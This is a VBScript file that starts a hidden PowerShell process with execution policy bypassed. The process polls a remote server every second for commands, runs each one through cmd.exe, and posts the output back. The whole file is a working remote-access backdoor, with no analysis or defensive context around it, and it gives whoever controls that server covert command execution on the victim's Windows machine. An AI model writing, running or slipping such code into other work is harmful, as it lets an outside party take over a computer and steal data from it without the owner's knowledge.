Dim shell
Set shell = CreateObject("WScript.Shell")

' Building PowerShell command with username and random number
powershellCommand = "powershell -ExecutionPolicy Bypass -Command ""$Username = $('%username%' + (Get-Random)); " & _
    "while ($true) { " & _
    "$headers = New-Object 'System.Collections.Generic.Dictionary[[String],[String]]'; " & _
    "$headers.Add('Cache-Control', 'no-cache'); " & _
    "$Content = (Invoke-WebRequest -Uri ('https://lumi2-backend.onrender.com/cmdpoll/' + $Username) -Headers $headers -TimeoutSec 60).Content.Trim(); " & _
    "if ($Content -ne '') { " & _
    "$Output = cmd.exe /c $Content | Out-String; " & _
    "$Body = @{input = $Content.Trim(); data = $Output.Trim(); uid = $Username}; " & _
    "Invoke-RestMethod -Uri 'https://lumi2-backend.onrender.com/result' -Method Post -Body ($Body | ConvertTo-Json) -ContentType 'application/json'; " & _
    "}; " & _
    "Start-Sleep -Seconds 1; " & _
    "}"""

' Running the PowerShell command
shell.Run powershellCommand, 0, false
WScript.Quit